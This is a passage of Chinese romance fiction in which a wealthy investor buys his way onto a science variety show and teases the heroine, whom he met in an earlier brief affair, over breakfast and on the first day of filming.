走公司太麻烦了。他面色沉静,凛声道:“个人投资,你们缺口多大,我都投了。”
刘其民懵了,这是什么新型诈骗手段吗?
他没有立即应声,只是语焉不详地问道:“想问下您投资是为了?”
林深抬脚往阳台走去,拉开密实的窗帘,思量了几秒后说道:“要求只有一个,我要作为常驻参加你们的综艺。”
这句话落下,原本一头雾水的刘其民此刻终于明白了,原来是要带资进组啊。
不过要进组的话,得和祁导商量商量。
刘其民斟酌几秒后,摇了摇头。不行,到嘴的鸭子不能飞了。
如果只是想要来当嘉宾,祁导那边应该会答应的吧。
他小心翼翼朝对方试探:“林总,除了参加节目,您还有别的要求吗?”
“没有。”林深没有丝毫犹豫,果断回复。
这么好的金主爸爸,大腿可得抱住了。刘其民语调不禁抬高,爽快道:“好。那林总我们商量商量合同的事情吧。”
“你把合同发我助理邮箱,后续的事情联系他就可以。”阳光洒落在他白皙的脸庞上,连嗓音都变得温和起来。
“好嘞好嘞。”
没想到这年头,还能遇上这么个豪横又好说话的甲方爸爸,他们真是有福了。
刘其民没有多耽搁,收到林深发来的邮箱号后立马便把合同传了过去。
“咚咚咚。”
清脆的敲门声响起,他循声看去,只见穿祁绮推门进来,反手甩上门时,身上的白色西装勾勒出利落的弧度。
“诶,祁导!”刘其民忙不迭地从椅子上站起,刚做完先斩后奏的事情,他难免有些心虚。
见祁绮走近,屁颠屁颠地绕过办公桌给她拉开椅子坐下。
“怎么了,老刘,做什么亏心事了?”见他这满脸心虚的表情,祁绮皱着眉狐疑坐下。
刘其民扯出一个尴尬的笑容,目光游移不定始终不敢直视面前祁绮审视的眼神。
“扭捏啥啊,有事就说呗!”一向急性子的祁绮最烦别人支支吾吾没个准话。
他忖度几秒后,终于下定决心说:“我拉到投资了。”
“真的吗?”桌面发出响亮的“砰”的一声,祁绮激动地从椅子上站起,眼眸中闪着难以置信的光芒。
此刻的她和昨晚愁眉苦脸的样子简直判若两人,祁绮兴奋地在办公室来回踱步。
“不行,我这就去通知各部门准备拍摄。”祁绮风风火火地准备出门。
“慢着慢着!”见她着急忙慌地便要出去,刘其民迅速拦着,看着她不解的目光,有些艰难地说:“还有个坏消息。”
笑意瞬间凝固在嘴角,那一刻,她分明感受到心跳漏了一拍。
“金主爸爸想要带资进组!”
什么?祁绮听到后满脸问号,“你上哪找的投资方,怎么提出这么奇怪的要求。”
带资进组常见,只不过她们这个科普综艺,想要靠这个出道怕是困难。
刘其民推着祁绮的胳膊,将一脸懵的她拉到椅子边坐下,方才解释道:
“自己找上门来的。”
看着祁绮满脸“你在开什么玩笑”的表情,他赶紧找补道:“不过感觉不像难搞的人,只说要参加综艺,再没别的要求了。”
女人抿着红唇,沉吟片刻,而后有些怀疑地问:“哪家公司啊,不会是诈骗吧。”
“不像诈骗。”刘其民皱着眉否认,继而道:“主要他图啥啊。我们一穷二白
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的,应该是个想出道的公子哥。”
祁绮斟酌几秒后从椅子上站起,拍了拍他的肩膀,莞尔一笑:“行吧,这事交给你我放心,我先出去安排拍摄。”
和老刘合作那么久了,从未出过岔子,祁绮对他自是十分信任。
“诶,”走到一半的她倏地回眸,问道:“还没问,这个投资人叫什么名字啊。”
老刘挠了挠稀疏的头发,思忖几秒后才忆起:“姓林,好像叫林深。”
见他犹豫不决的样子,祁绮有些无语,怎么会连投资人名字都记不清。
不过,这名字,怎么有点耳熟,女人眉峰轻动,眼眸微微出神。
“祁绮姐!”助理小张从门外探了个头进来,打断了她的思绪。
怔住的祁绮回过神来,面色恢复平淡,朝正懊恼的老刘点头致意,朗声道:“走了哈。”
——
“好了,忙去吧。”祁绮单手将手里的钢笔合上,递过那份签好字的资料。
没想到这么快就成功解决了资金问题,所有的拍摄事宜早已安排妥当,眼下便等老刘那边的资金到位便可立马开拍。
想到这,祁绮不禁放松起来,靠在办公椅上转了两圈后。想到还未将这个好消息告诉覃晚,虽然已经安排好副导那边去通知艺人和嘉宾。
但想来他们速度应该还没那么快,祁绮眉梢微挑,从桌面上捞过手机给覃晚拨了个电话过去。
手机在枕边第三次震动时,覃晚终于从被窝里探出乱蓬蓬的脑袋。
阳光透过纱帘在洒落她瓷白的脸上,扑闪的睫毛在眼下投出蝶翼般的阴影。
“喂……”对面声线柔软,带着些刚醒时的沙哑。
祁绮抬眸瞥了眼墙上的挂钟,已经上午十一点了。
估计这几天为了给综艺腾出空闲时间,又加班加点赶实验了。
思及此,她语气不自觉地带上几分温柔,调侃道:“还睡呢?日上三竿了小妞。”
“嗯……”
夹杂着电流,对面传来窸窸窣窣的声音。
覃晚闭着眼睛将手机搁在枕边,拢了拢身上的薄被,将自己裹得严严实实。
听到对面明显还带着未睡醒的困倦声,祁绮便收了心思,柔声道:“你好好睡吧,挂了吧。”
对面久久没传来回应,只听到轻柔的呼吸声。
祁绮唇角勾起一抹宠溺的笑容,抬手主动按下了挂断键。
——
因为是个人投资,手续简单许多。合同签订好后,很快便收到了林深那边打来的投资款。
祁绮这边也没拖延,资金一到账便着手联系参与嘉宾安排档期准备拍摄。
只是那个林深,着实神秘,一直没露过面。除了个名字外,也没透露其他任何信息。
加上微信后,除了刚开始的客套寒暄,再没更多联系,其余的工作也都是通过助理交接,
要不是看他一直也没提出什么过分的奇葩要求,对于拍摄工作也一一配合,否则就他那冷淡的样子,难免不会让人往耍大牌上想。
另一边为了腾出时间拍综艺,这几日正足不出户地疯狂码字。
至于投资交接,反正他对那些业务也并不熟悉,还不如交给林女士给他安排的专门助理来得效率高。
于是直到拍摄前一天晚上,祁绮才在酒店见到这位金主爸爸的,庐山真面目。
29. 早上好
“等一下!”
细高跟敲击瓷砖的脆响在酒店大堂响起,行李箱的轮子摩擦过光洁的大理石地面,浅蓝色雪纺裙摆随着急促步伐翻涌。
电梯门毫不留情地关上,站在门口的祁绮垂眸叹了口气。
“没事,等下一趟呗。”覃晚轻轻晃了晃握着自己的那只手,指尖摩挲着她腕间微凉的玉镯,莞尔一笑安慰道。
话语刚落,金属门忽的缓缓打开,浅浅的玉兰香扑面而来,一道颀长的身影出现在两人眼前。
祁绮借着调整披肩的动作侧身靠近一旁的覃晚,瞄了眼那个身姿优越的男人,低声叹了句:“我靠,好帅啊!”
按着开门键的指节泛着青白,男人抬眸时睫毛微微颤动将覃晚钉在原地,看着那双奇迹般的异色瞳孔里映出自己略显惊慌的身影。
流动的指针在这片刻凝固,如擂般的心跳淹没了腕表的滴答声。
没想到,时隔半月竟然再次见到这双眼睛,那些偶然出现在午夜梦回时缥缈的温声絮语此刻随着他的脸一同在脑海中具象。
“别看了。”
见覃晚目不转睛地盯着人家看,理智尚存的祁绮拽了拽她的衣袖,一副恨铁不成钢的样子。
电梯门再次闭合,狭小的空间内,只余三人的呼吸交织。
覃晚攥着拉杆的掌心沁出粘腻,心脏狂跳不止,密密麻麻的紧张此刻正顺着脊柱缓缓融化,弥漫全身。
怎么办,他不会来找自己算账吧,上次睡完他后,一句话也没解释就跑了,她低着头思量到。
"几楼?"一道干净清透的嗓音从前方传来,带着一丝水汽润过的微哑,拨人心弦。
覃晚抬眸看见楼层键上亮着的13,下意识喊了句:"14!"
祁绮:"一样。"
两道声音一同响起,林深转头看了眼那个眼神躲闪的女孩,沉默不语,伸出手默默点亮了上层的按键。
与林深的心下了然不同,听到这话祁绮眼中满是错愕。
但看到覃晚脸上的挣扎与眸中闪过的哀求,满腔疑惑的她按下情绪,一言未发。
【叮咚,13层到了。】
面前男人顿了两秒,拖着那只黑色行李箱抬脚迈步向外走去。
"再见......覃晚。"金属制的电梯门合上时发出微弱的摩擦,与那道清冷又意味深长的嗓音一同跌入她耳畔,最后落至心脏。
"覃小晚?"
电梯上升,轻微的失重感再次袭来,那声"再见"也在头脑里与难捱的气息一样挥之不去。
绮染着车厘子色的指甲叩击金属扶手,目光像探照灯扫过她煞白的脸庞。
看着祁绮投来的审视目光,覃晚向前走了一步再次按亮标着13的按键,讪讪道:"回去解释,回去解释。"
——
咔哒一声,房门吞噬掉走廊的最后一抹光线,紧张如擂的心跳随着房门一并抛之于外。
祁绮没回自己房间,跟着覃晚一起走进了她的屋子,咬牙切齿的声音响起。
"到...底...怎...么...回...事!"
覃晚拖着行李箱在沙发边坐下,抬眸露出无辜可怜的眼神望着满脸严肃的祁绮。
拉住她交叠在胸前的手,支支吾吾解释道:"就是我上次跟你说的嘛~"
"什么东西。"面对她的撒娇,祁绮防线丝毫未动,抿着唇继续质问道。
"就是他嘛~"覃晚含含糊糊未指明,看着祁绮八风不动的样子,眼一闭心一横说了出来:"厦城睡的那个!"
一直绷着的表情顷刻碎了一地。祁绮没忍住,嘴角溢出一声嘲笑。
"不是吧,覃小晚,看你这心虚样子,人家这是来找你算账来了啊。"
覃晚幽幽地瞥了转眼间便笑的花枝乱颤的某人,攥着流苏抱枕的手指节发白,皱着眉没好气道:
"你还笑,我都火烧眉毛了你还笑得出来。"
见她气鼓鼓的样子,祁绮笑得更响了。
"别怪我,实在是情难自抑啊,小妞哈哈哈哈哈。"祁绮在她侧边的空位坐下。
覃晚叹了口气,眼中满是无措,一想到他那句似要她好看的"再见",便忍不住担忧。
见她倒在沙发上,一脸生无可恋的样子,祁绮有些于心不忍。
紧抿了抿唇压下嘴角的笑意,正色安慰道:"没事的,现在这样,至少,至少...至少说明你确实睡了个大帅哥啊!"
听着她这句不正经的调侃,覃晚幽怨地瞪了面前强忍嘲笑的祁绮一眼,白净小脸皱成一团。
"不是,你到底怎么他了,这么心虚。"
祁绮瞥了眼门口,疑惑发问。
她这话似一语惊醒梦中人,覃晚眸中闪过一丝清明。
心中暗自忖度道:对啊,自己为什么心虚。虽然自己先跑了,但还不是怪他拿自己当替身来着。渣男!
思及此,原先耷拉着的脸瞬间变得气鼓鼓,眼神里满是愤愤不平之色。
"又想到什么了,这幅表情。"祁绮没忍住伸出手捏了捏她鼓起来的脸颊,手感甚好。
"没事。"覃晚摇了摇头,捏着抱枕的手微不可察地紧了紧,神色复杂,"孽缘罢了。"
说罢,她又忽的转头认真问道:"我们在这拍几天啊?"
"一周吧,然后转场去南山那边。"祁绮拿起置在桌上的矿泉水,拧开抿了口,漫不经心地回答道。
"行了,时间不早了,我回去了。你早点休息,明天片场见。"
窝在沙发里的覃晚用抱枕挡住了那张小脸,闷闷地应了声嗯。
祁绮刚走没多久,叮咚叮咚的门铃声忽然响起。
覃晚从沙发上爬起,踩着懒懒的步伐走至门边,没有丝毫提防地拧开了房门。
"怎么啦,又什么东西落这了?"
"您好,小姐。"
闻声,覃晚退后半步,抬眸凝视着身前的人。
这哪里是祁绮,分明是穿着工作套装的酒店客服,手里还拎着一瓶六神。
即使是被认错,客服依旧没有半分尴尬神色,面带微笑,温和道:"您好,您要的花露水给您送到了。"
覃晚有些疑惑,她没要花露水啊?
垂眸看了看自己锁骨边的一块明显红痕,被注意到后痒意才逐渐泛起。
没忍住抬手轻挠了下,她温声笑道:"不好意思啊,是不是送错了?"
客服抬头看了眼门牌号,又确认了下手里的小票,肯定道:"没错,小姐,1306。"
难道是祁绮送的,这家伙什么时候这么贴心了。不过知道自己门牌号的不就只有她了。
覃晚静默了片刻,须臾从女人手里接过那瓶六神花露水,浅笑颔首:"谢谢
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,麻烦你了。"
合上房门后,她挠了挠头,随手将那绿色玻璃瓶放在玄关后,打开了行李箱。
热带地区毫无秋冬可言,覃晚从里面抽了件白色睡裙便往浴室走。
淅淅沥沥的水声传来,腾升的雾气贴上玻璃,化作一幅淡雅的水墨画,朦胧间依稀可见若有若无的曼妙曲线。
林深关上水龙头,抬手拽过架子上的白色浴巾,随意擦拭了两下身上的水渍便套上了睡衣。
床头的座机叮铃铃作响,他拢了拢一头湿发,弯腰接起电话。
"喂,您好,请问是林先生吗?"
林深:"是我。"
"好的,您要的花露水已经送去1306房间了,请问还有别的需求吗?"
他抬眸瞥了眼窗外的沉沉夜色,眼底泛出细微波澜,继而淡声道:"没有,谢谢。"
凌晨五点的黑暗浓得像泼墨,覃晚陡然从梦中惊醒,猛地坐起时,薄被滑落腰间。
空调风拂过汗湿的脊背激起战栗,脸上潮红未退。
她盯着窗帘缝隙渗进的靛蓝色天光,指尖陷进鹅绒被子中。
覃晚抬起压在被子上的两只皓腕,拍了拍自己滚烫的脸颊,低声哀嚎道:"覃小晚,你完蛋了啊!怎么会做这种梦啊!"
不知是睡前看到大大新更的一章刺激到了,还是今天又遇到了他。
梦中那些不可描述的画面简直让她情难以堪,羞愧万分。
但是不得不说,带金丝眼镜的他也太欲了吧!啊啊啊啊啊......
当初在厦城也见过他戴眼镜的样子,只不过是副黑框,看上去乖乖的,像只顺毛小狗。
不过昨天梦里的他,可完全称不上乖这个字,光是想想就已足够面红耳赤了。
覃晚无奈地倒在床上,眼神空洞迷离,越想抛去可脑海里却始终是那挥之不去的画面。
他温柔的低声絮语和未着寸缕的样子反而随着大脑的清醒越发清晰起来。
覃晚捞过身侧的另一只枕头,捂住了红得发烫的小脸,闷闷的尖叫声时断时续。
刚刚就要进行到关键一步,猛然惊醒。她一边害羞,可回想起又觉得有些意犹未尽......
在床上支吾乱叫了片刻后,覃晚倏地直起身子,愤愤地踩上拖鞋走进了浴室。
冲了个澡后,人终于从那段暧昧迷离中清醒过来,残存的那点困意也随着浴室里的水一同流走,无影无踪。
副导昨天便给她发信息说九点开始拍摄,只要八点去化妆间提前准备便可以了。
她瞄了眼手机,才六点一刻,远处的天空刚刚破晓,晨光微熹,层层叠叠的云雾中散射出微弱的金色光芒。
难得早起,不如去吃个早饭,覃晚伸了个懒腰,自言自语道。
她从包中拾了顶红色鸭舌帽,抽出玄关处的房卡便抬手拧开了门把手。
"咔哒"两声门锁弹开的声音重叠,走廊上的灯光在他高挺的鼻梁投下的阴影,勾勒挺括的身姿。
梦中的人便出现眼前,覃晚鸭舌帽檐下的瞳孔骤然收缩,握着手机的掌心贴紧冰凉的金属外壳。
她强装镇定,可对上那道惊喜又带着些炽热的目光时,不断颤动的睫毛还是暴露了此刻的无措。
"早上好。"清冷中带些许沙哑的问候声传入她的耳朵,白净圆润的耳垂瞬间染上了血色。
30. 所以......我们是什么关系^……
“啊,早...早啊。”
瓷砖地面上拖出两道细长影子,覃晚攥着门把的手指节发白。
相较于他的镇定自若,覃晚的寒暄稍显局促。
或许是因为刚刚梦见那些少儿不宜的画面,正主便出现在眼前。
她躲闪着那道逼人的视线,想要赶紧逃离现场,她站在门口半天,犹犹豫豫最终问到:“你......干什么去?”
对方盯着浑身不自在的她无声轻笑,声线温柔反问:“你呢?”
她思量片刻后,语气坚定的回了句:“我吃早饭。”小鹿般的杏眸亮晶晶的,泛着湿润的水光。
现在年轻人谁吃早饭啊,尤其还这么早。这样肯定能摆脱他了,覃晚低着头勾唇在心中暗爽到。
“我也是。一起吧。”
没想到打脸来的如此之快,见他抬脚欲走,覃晚急忙摆手打起了退堂鼓,急中生智说到:“我东西忘拿了,你先去吧。”
谁知听到这话,他非但没有离开,反而停下脚步滞在原地,眼眸含笑,温声说到:“没事,我等你。”
等你个大头鬼啊!覃晚低着头,唇角溢出一丝微不可察的低骂。
须臾后又抬起头,原先被气得蹙起的眉转瞬间消散,眼眸中满是乖巧,咬牙切齿地说了句:“好...的!”
“咔哒”一声,对面的门悄然合上,走廊再度恢复寂静。
怎么连生气都这么可爱。
林深回想起刚刚女孩强忍着不平拉门最后却依旧收了力道的样子,不禁轻笑出声,眉宇舒展。
靠在门后的女孩闭着眼,双手放在身前深吸了一口气,口中念念有词。
“没事哒,没事哒,吃个早饭没事哒......”
花了几分钟做好心理建设后,覃晚抬手理了理因为刚刚急促动作有些凌乱的长发,再度打开了房门。
“走吧,林先生。”
男人抬脚跟上,勾唇笑道:“好。”
凌晨六点半的走廊静悄悄的一片,缓缓的脚步声一轻一重,逐渐交叠。
“你想吃点什么?”走出酒店的旋转门,覃晚扭头向身后的男人问到。
远处天蒙蒙亮,略显昏暗的街道只有零零散散几辆车穿过。
七色槿花瓣簌簌落在覃晚的鸭舌帽上,她故意踩着道旁榕树的气生根走,白色板鞋在石板路上叩出轻响。
身后始终保持着半步距离的男人忽然伸手,替她拨开横斜的九里香枝条,指尖擦过耳垂时带起一串细小的战栗。
他凝着面前的女孩,不经意间露出一个坏笑。
“满煎糕,如何?”
覃晚瞬间石化在地,没想到这人这么记仇。果然这早饭吃的不怀好意,就是来找她算账来了。
见女孩呆愣的样子,得逞的林深抬手轻敲了下她的帽檐,拂去花瓣,眉眼含笑道:“好了,不逗你了。听说这里的粉汤不错,要不要去试试。”
他有意示好,覃晚便顺着台阶冷冷地嗯了一声。
热带的早晨是一天中最舒服的时刻了,两人漫无目的地走在清冷的街道,怡人的微风吹在脸上,带来清爽的椰香。
覃晚在街边一家汤粉店停下了脚步,抬手指了指屋檐上的招牌【瑞祥汤粉】。
“就这家呗?”
一直盯着身侧女孩的林深分了点神,随意瞄了眼店内环境,虽小但还算干净。
只一眼过后,他的注意力重新回到女孩身上,看着她乖乖点头,温声道:“可以。”
“阿莫,阿弟。"一个约莫五十岁的阿姨走上前来招呼,热情问道:“汝想食乜?"
方言?两人怔了片刻,自幼生活在南方的覃晚还懂个一知半解,可对林深这个在北方土生土长的北方人来说无异于天书。
对上他那迷茫的眼神,覃晚皱眉猜了猜,“应该是问我们要吃什么吧。你看看,你要吃点啥?”她抬首指了指店内张贴着的一整块菜单。
覃晚仰着头盯着面前的菜单,小声嘀咕道:“怎么办呐,这个后安粉和陵水酸粉看起来都不错的样子。好纠结...”
见她像是在做什么重大决策,面色凝重的样子,林深勾唇浅笑,懒洋洋道:“既然纠结,那你选一个我吃另一个就好了。到时候都能尝尝。”
“啊?”她歪着头,拖着尾音思考了下。
“我也想尝尝不同的。”林深弯腰凑近,唇角的弧度渐深,眼眸中藏着点点星光,语气诚恳地问:“可以吗?”
那双眼睛似是有勾人的魔力,理智随即抛诸脑后,怔愣片刻后她倏地偏开了头。
有些慌乱的答了句:“可以可以。”
得到满意的回答,林深嘴角含笑,移开视线朝厨房窗口里那个佝着腰忙活的老板娘朗声清晰道:“老板,一碗后安粉,一碗陵水酸粉。都不要葱。”
林深拉开椅子从桌上抽了两张纸仔细擦了一遍后,抬头欲邀她坐下时,却见那人绕了个弯走到对面去了。
“你也不吃葱吗?”覃晚自顾自的扯开一张椅子,随意坐下。
他垂眸看向自己两指间的纸巾,无奈的笑了笑,低声:“嗯”了一声,与她相对而坐。
近处咕咚咕咚作响的水在锅炉里烧得沸腾,同桌的两人却沉默无言。
覃晚假意左顾右盼,想要避开那道迎面的视线,蜷着的手指不自然的掐在椅子边缘。
面面相觑半晌,她实在是受不了这奇怪的氛围了,凝着桌面的醋瓶,故作平常的问:"你来海城是干嘛啊?"
不知为何,他听到这话竟露出个莫名的笑容,眉梢微挑,语焉不详的落下两个字:“工作。"
这人...真是聊缩力惊人,不知道有来有回吗?
还是在厦城的时候可爱点,还能逗逗他找乐子。现在这尴尬的关系,她是半个字也不敢乱说了。
静默片刻,她须臾哦了一声。
正当覃晚勾起食指有一搭没一搭的轻敲着木质椅面,却听到对面迟来的反问:“你呢?”
“我?”她抬起头,轻啧了一声,懒懒回到:“我也是来...工作的啊。”
她勾起鬓边的碎发,捋了捋勾至耳后。
“工作啊。”他拖着尾音重复了一遍,笑得意味深长。
"阿莫,阿弟,Min来
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喽。"
“谢谢。”两人异口同声。
林深从椅子上站起,端起木质托盘上的热气腾腾的两碗面。
覃晚抬眸看向笑得从容的老板娘,甜甜问到:“姐,能不能再给我们两个小碗啊?”。
老板娘上下打量了下两人,露出了然的眼神,眼角的褶子加深。
“刚在一起的小情侣哇,害羞的咧!”
覃晚恰巧接过对面男人递过来的筷子,闻声后倏地抬头看向面前笑得暧昧的老板娘。
指尖传来一道温热的触感,似是被烫了一下,她迅速将手抽离。
着急忙慌解释道:“不是,误会了,我们不是情侣!”
“哎呀,害羞啥。”
越解释越乱,覃晚转头求助,却见那人正笑得意味深长,眼神暧昧的看向自己。
算了,摆烂吧。
她扯出一个笑点了点头,“对,阿姨。”
覃晚瞥了男人一眼,忽的灵机一动,笑容变得诡异:“但是他有幽门螺旋杆菌,分开碗健康点。”
“啊,这样,我去给你们拿。”老板娘端着托盘朝厨房走去,回头时看了林深一眼,流露出一丝惋惜。
林深拿着筷子的手顿了顿,低眸细细看着她,似笑非笑地沉声道:“幽门螺旋杆菌?”
覃晚装作漫不经心的拿过桌边的醋,避开他的视线,强装镇定道:“谁叫你看戏不帮我解释。”
男人看着她傲娇可爱的样子,低笑出声,“好,我的错。下次我一定解释,所以...”他顿了两秒,继而道:“我们是什么关系,把我吃干抹净的覃小姐?”
深褐色的陈醋汩汩流入碗中,随她不经意间颤抖的手溢至桌面,浓浓的醋味弥漫在两人之间。
林深笑得深不可测,从她滞住的手里接过那瓶子,冰凉的触感再次袭来,却又如羽毛划过,转瞬即逝。被触及的皮肤逐渐变得灼热,从指间弥漫至全身。
那只骨节分明的手抽了两张纸,从容不迫地将她面前褐色的醋渍擦干。
我的天,这男人!是去什么进修班了吗?
明明半个月前还被自己撩得害羞脸红,现在怎么突然这么会了!
心跳快跃到嗓子眼了,怎么办?应该怎么回答他。
覃晚脑子飞速运转。绝对不行就这么输了!
实战落下风就算了,要是舌战都输了,那她也太丢脸了。
须臾,她接过那人递来的纸,随意擦了擦手上的残渍后,盯着他问:“那就要看林先生将我视作谁了?”
她还没忘记呢?那个人拿自己当替身这回事,还没找他算账!
林深反问到:“那你觉得我将你视作谁了?”
“你们要的碗来了!”
老板娘迈着摇摇晃晃的步伐快步走过来,脸上松垮的笑褶随着左右晃动。
覃晚先一步抬手接过,弯唇笑道:“谢谢姨。”
“莫洒嘉莫洒嘉~。”老板娘笑得慈祥,摆摆手转身回了厨房。
覃晚迅速从面前的后安粉里捞了大半碗,推至男人身前,不及他再次开口,便先说到:“食不言,寝不语。”
31. Action!
"我们走吧,我吃好了。"覃晚将竹筷轻轻搁在碗沿,抽了张纸巾擦拭唇角油渍。
素来细嚼慢咽的人此刻腮帮还鼓着,活像只仓促囤粮的松鼠。
可没想到还是没赶上那男人,看着慢条斯理的,没想到吃这么快。
“走吧。”他拿起手机对着桌角的二维码扫了过去。
【支付宝到账28元。】机械的女声从前台传来。
“你干嘛?”
“你付了?”覃晚抬眸看向男人,“我转你。”
握着手机的男人顿了一下,旋即喉间溢出一丝轻笑,懒懒道:“那……加个联系方式?”
他笑着调出二维码。
好友码?
覃晚匪夷所思,提醒道:“收款码给我就行了。”
笑容滞在嘴角,只一瞬又恢复,他故作可怜地低头看着面前的女孩,“没想到我连覃小姐的联系方式都不能加一个,那天晚上……唔。”
察觉到他要说什么,说时迟那时快便抬手捂住了那人的嘴。
“不许说!”女孩拧着眉,声音都抬高了八度,故作凶狠地睨他一眼。
男人只一瞬的诧异,霎时便用那含情的眼眸望向她,弯唇浅笑,眼波流转间,睫毛在她虎口投下蝶翼般的阴影。
温热的鼻息洒在她纤细的指尖,柔软的触感似一道电流透过掌心贯至全身。
那只朝她递过来的手机被举起,在她眼前晃了晃。
这男人什么时候变得这么绿茶了,还是当初认识的纯情小奶狗吗?
不过,那天晚上他也是茶艺过人,要不是他半推半就一直勾引,就凭她,能得逞?
笑话!
总觉得这家伙不怀好意,这微信说什么都不能加。
覃晚撇开眼,清了清嗓子,故作镇定拒绝道:“你要是不收转账,我给你现金,联系方式就没必要了。”
对面迟迟没有应声,她在心中嘀咕道:“不会是不同意吧。”
蓦地,冰凉的手背覆上一道温度,男人骨节分明的手握住那只贴在唇上的小手。
上下打量了她一番,歪着头妥协:“可以。”
反应过来的覃晚倏地便将手从男人掌心抽离,眼神闪躲,转过身欲找现金时才意识到自己压根没带包出门。
这下尴尬了,话说早了。覃晚有些慌乱的摸了摸头,难为情道:“回酒店给你,行不?”
“嗯。”看着她可爱的小动作,林深宠溺的笑了笑,继而弯腰凑近她的耳廓,低声道:“今天晚上,我房间你知道的。”
?
听到这话的覃晚难以置信的睁大双眼望向他,却见那人露出一副无辜的表情。
“我只有晚上有时间,怎么了?”
覃晚吃瘪,面色不虞却强扯出个笑容看向他,咬牙切齿:“没!事!”
林深看着她紧紧攥着的拳头,蓦地感觉胸口一沉,笑的懒散:“走吧,回去了。”
两人并肩走出店铺,天光早已大亮,清晨时的高度角并不大,浅蓝的天空飘着几缕浮云。
街边的路灯不知何时熄灭,路边行人渐多,鸣笛声和交谈声交错,沉睡的城市缓缓苏醒。
“喂。”覃晚拨开挡在身侧的一簇粉色三角梅,朝电话那头问道:“怎么了?”
覃晚:“好,我直接过去。”
见她挂断,林深匆匆回了个“嗯”后便合上了手机。
“我不回酒店了,去工作。”覃晚停下了脚步,抬头看向男人。
“好。”林深颔首,没忍住抬手向她头顶探去。
“你干嘛?”女孩偏头躲闪,警觉的睨着他。
林深无奈一笑,在她审视的目光下伸手展示。
只见他修长的指尖中夹着一片干枯的三角梅叶,唇中传来一声轻啧。
指尖松动,手中的落叶簌簌落下,他懒懒道:“怎么,这么怕我?”
“没有。”覃晚摸了摸鼻尖,掩饰尴尬,“没事的话我先走了。”
“好,注意安全。”林深摩挲了下指尖,在她转身准备离开时忽叫住:“慢着。”
“嗯?”她回眸一笑,眼中满是茫然,见男人盯着自己发顶,有些不解的抬手摩挲:“是还有什么东西吗?”
林深笑而不语,猝不及防的揉了揉她的头发,她猛地退后,掌心从头顶离开时恰好滑过脸颊,皮肤细腻,勾起一片红晕。
“你干嘛啊!”红着脸的覃晚像一只炸毛的小猫,语气里满是控诉。可听进他耳朵里时却只剩撒娇。
覃晚没再搭理他的嬉皮笑脸,气鼓鼓的一字一顿说了句:“再见!”,扭头便走。
望着她的背影,林深眼中满是温柔,嘴角溢出一丝低语:“再见。”
---
循着祁绮发来的定位,覃晚打了个车,很快便抵达拍摄片场。
刚下车,便看到不远处穿着件灰色防晒衣的小张朝她招手,“晚晚姐,这儿~”
小跑过去。
“晚晚姐,给你。”小张笑着递来一张通行证,“这是您的,我带您过去化妆间。”
“好,不用叫您,太客气了。”覃晚笑的温和。
虽然之前探班时也去过片场,但她确实还是第一次作为工作人员进来。
跟在小张半步后,她四下打量着周围的环境。刚开工不久,一群穿着黑T的工作人员正在安装设备。
“晚晚姐,到了。”张秦转过头,见身后的人正盯着一处紧皱着眉。
顺着目光寻到所及之处,是几个戴着鸭舌帽的男人正窝在一处,谈笑时烟雾缭绕。
她大学时便穿梭各种片场,几乎所有的片场,男人的数量都占绝大多数。
在这种混乱的地方,烟、酒、黄腔就像路边电线杆上的牛皮癣小广告似的,随处可见。
毕业后当上祁绮的助理后,在她的组里还稍好一些。毕竟她规矩比较严,对性骚扰和开黄腔都是明令禁止,一旦发现便会被炒。
但他们这行,熬大夜是家常便饭,工作压力大,烟瘾也大。
覃晚显然是不太适应。
“晚晚姐,要不我给你拿个口罩?”张秦抬眸低声试探道。
“啊?”覃晚凝滞的眼恢复清明,看着张秦面色担忧,她故作轻松的笑了笑:“没事,不用口罩。”
“好,那我们赶紧去化妆间吧。”
“嗯。”刚刚平复的眉心又微微蹙起,覃晚有些心不在焉,跟在小张身后腹诽道:刚刚那个人,怎么那么像林深。
可是他怎么可能会在这,应该只是衣服一样吧。
覃晚摇了摇头,在心底暗自否定道。
两人走进化妆间,居然是单人的,还以为是好几个共用呢。
她心里嘀咕着,看来七七新找到的金主爸爸很豪嘛。
屋内早已有个穿着蓝色条纹半袖衬衣和卡其色五分休闲裤的狼尾女生在等候,小张带着她走近介绍道。
“笑笑,这是覃老师。”
一听到这个称呼,覃晚似条
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件反射,急忙推阻道:“诶诶诶,不用叫老师。”覃晚勾唇笑道:“叫我覃晚或者晚晚就好。”
对面的女孩随性的耸了耸肩,笑着应了声:“OK,晚晚。”
她弯唇笑起时,唇边的酒窝随之深陷,琉璃瓦般的眸子闪着点点星光。
覃晚盯着她的酒窝看直了眼,虽表面上还是一副八风不动的冷静样子,但心底早已被她的反差萌迷到疯狂尖叫。
也太可爱了吧!这名字也可爱啊!
她攥了攥身侧的皮革质转椅,按捺住自己想要伸过去戳戳女孩酒窝的手。
“行,那你帮晚晚姐先化,我去叫晓琳来做造型。”
两人同步颔首。
“那我们开始吧。”笑笑替她拉开椅子,“坐吧。”
“你皮肤也太好了吧,毛孔细腻到压根看不见!”笑笑倚在化妆桌前,拿着一把刮眉刀修剪她的眉毛。
因为眼睛敏感,所以即使闭上了眼睛,睫毛依旧不停颤动着,她启唇回应:“是吗?”
“对啊,而且你这长相,都可以进娱乐圈了。”笑笑毫不吝啬的夸奖道。
被又酷又甜的美女夸,覃晚一边说着:“没有啦,没有啦。”一边在心里暗爽。
---
专业化妆师再加上覃晚底子好,没多久便完事了。
距离开拍还有二十分钟,覃晚没在化妆间里闷着,和正收拾化妆包的笑笑打了个招呼便走出了化妆间。
正当她准备去祁绮那边瞅一眼进度时,忽的又看到了那个熟悉的身影。
实在是太像了!
覃晚抵不住好奇,正准备跟上去看看却被半路不知从哪里杀出来的小张截胡。
“诶,晚晚姐,你去哪啊?”女孩抱着几个麦挡住了她的去路。
远处的人打开了一间屋子的门后,便消失不见。覃晚不着痕迹地收回视线,看着面前的小张正色道:“不去哪,开拍了吗?”
“嗷,还没,不过需要去做个前采,弄完差不多就开拍了。”
覃晚应了声好,余光向男人消失的位置自然扫去,按下心中怀疑。
“结束了。”
PD朝她比了个OK的手势,“覃老师,谢谢您的配合。”
覃晚点了点头,从椅子上站起温声道谢后便跟着PD去了正片拍摄的客厅。
抵达时,已经有两位嘉宾坐在沙发上聊得火热。
一个是95后当红男演员萧潇,另一个她之前不太了解,是个叫童彤的女rapper。
“Hi,你们好。”覃晚有些腼腆的朝二人打招呼。
第一次面对那么多机器和围成一圈的工作人员,黑压压的占了一片。
她有些紧张无措,微蜷的手心冒汗,好在瞥见被拥在正中央的祁绮正投来安慰的眼神。
一下让她在这陌生环境里镇定不少。
